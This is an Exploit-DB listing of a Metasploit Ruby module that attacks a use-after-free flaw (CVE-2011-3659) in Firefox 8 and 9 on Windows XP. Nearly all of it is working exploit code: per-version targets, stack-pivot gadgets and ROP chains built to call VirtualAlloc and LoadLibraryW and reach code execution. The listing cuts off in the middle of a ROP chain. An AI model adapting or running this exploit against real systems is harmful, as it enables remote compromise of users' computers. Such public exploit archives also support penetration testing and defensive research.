Exploit-DB #18870
Description: Mozilla Firefox 8/9 - 'AttributeChildRemoved()' Use-After-Free (Metasploit)
Type: remote
Platform: windows
Date: 2012-05-13
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',
			'Description'    => %q{
				This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.
				Removal of child nodes from the nsDOMAttribute can allow for a child
				to still be accessible after removal due to a premature notification
				of AttributeChildRemoved. Since mFirstChild is not set to NULL until
				after this call is made, this means the removed child will be accessible
				after it has been removed. By carefully manipulating the memory layout,
				this can lead to arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'regenrecht',                          #vulnerability discovery
					'Lincoln<lincoln[at]corelan.be>',      #Metasploit module
					'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2011-3659' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413
					[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'        =>
				{
					'BadChars'       => "\x00\x0a\x0d\x34",
					'DisableNops'    => true,
					'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"  #ADD ESP, -5DC
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'Windows XP - Firefox 8 / 8.0.1',
						{
							'Ret'		=> 0x0C0C0C0C,
							'OffSet'	=> 0x606,
							'Size'		=> 0x40000,
							'StackFlip'	=> 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll]
							'PopEsp'	=> [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],
							'FF'		=> 8,
							'OS'		=> 'XP'
						}
					],
					[
						'Windows XP - Firefox 9',
						{
							'Ret'		=> 0x0C0C0C0C,
							'OffSet'	=> 0x606,
							'Size'		=> 0x40000,
							'StackFlip'	=> 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]		 
							'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]	
							'FF'		=> 9,
							'OS'		=> 'XP'
						}
					],
					[
						'Windows XP - Firefox 9.0.1',
						{
							'Ret'		=> 0x0C0C0C0C,
							'OffSet'	=> 0x606,
							'Size'		=> 0x40000,
							'StackFlip'	=> 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]		 
							'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
							'FF'		=> 901,
							'OS'		=> 'XP'
						}
					]
				],
			'DisclosureDate' => 'Dec 6 2011',
			'DefaultTarget'  => 0))

	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def junk(n=4)
		return rand_text_alpha_upper(n).unpack("L")[0].to_i
	end

	def nop
		return make_nops(4).unpack("L")[0].to_i
	end

	def get_rop_chain(ffversion,osversion)

		# mona.py ROP chains

		rop_chain = []

		if ffversion == 8 and osversion == "XP"

			rop_chain =
			[
				0x7819c80a,     # POP EAX # RETN [MOZCRT19.dll] 
				0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
				0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
				0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
				0x7814eef1,     # POP EBP # RETN [MOZCRT19.dll]
				0x781503c3,     # & call esp [MOZCRT19.dll]
				0x781391d0,     # POP EBX # RETN [MOZCRT19.dll]
				0x00000001,     # 0x00000001-> ebx
				0x781a147c,     # POP EDX # RETN [MOZCRT19.dll]
				0x00001000,     # 0x00001000-> edx
				0x7819728e,     # POP ECX # RETN [MOZCRT19.dll]
				0x00000040,     # 0x00000040-> ecx
				0x781945b5,     # POP EDI # RETN [MOZCRT19.dll]
				0x78152809,     # RETN (ROP NOP) [MOZCRT19.dll]
				0x7819ce58,     # POP EAX # RETN [MOZCRT19.dll]
				nop,            # nop
				0x7813d6b7,     # PUSHAD # RETN [MOZCRT19.dll]
			].flatten.pack("V*")

		elsif ffversion == 9 and osversion == "XP"

			rop_chain =
			[
				0x10019ee9,	# POP ECX # RETN [nspr4.dll]
				0x10020060,	# ptr to &LoadLibraryW() [IAT nspr4.dll]
				0x1000f994,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
				0x10012ad0,	# POP EBX # RETN [nspr4.dll]
				0x00000000,	# clear ebx
				0x10006f41,	# ADD EBX,EAX # XOR EAX,EAX # RETN
				0x1000cf40,	# POP EDX # RETN 00 [nspr4.dll]
				0x1000d6ce,	# RETN (ROP NOP) [nspr4.dll]
				0x10019ee9,	# POP ECX # RETN [nspr4.dll]
				0x0c0c0c50,	# xul.dll (Unicode string)
				0x1000eeb4,	# POP EDI # RETN [nspr4.dll]
				0x1001f145,	# ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
				0x10004860,	# POP EAX # RETN [nspr4.dll]
				0x1001f111,	# ADD ESP,10 # POP ESI # RETN [nspr4.dll]
				0x100058B3,	# PUSHAD # CALL EAX [nspr4.dll]
				junk,		# win some, lose some
				0x00750078,	# xu
				0x002e006c,	# l.
				0x006c0064,	# dl
				0x0000006c,	# l
				0x1000cf40,	# POP EDX # RETN 00 [nspr4.dll]
				0x00A63374,	# Delta to IAT VirtualAlloc()
				0x10018ada,	# ADD EAX,EDX # RETN [nspr4.dll]
				0x10008ddf,	# MOV EAX,DWORD PTR DS:[EAX] # RETN    ** [nspr4.dll]
				0x1000a031,     # POP ESI # RETN    ** [nspr4.dll]
				0x1000a031,     # POP ESI # RETN    ** [nspr4.dll] (readable address)
				0x10013f1f,	# XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
				0x1000687b,	# POP EBP # RETN [nspr4.dll]
				0x1001a59b,	# & call esp [nspr4.dll]
				0x10012ad0,	# POP EBX # RETN [nspr4.dll]
				0x00000001,	# 0x00000001-> ebx
				0x1000c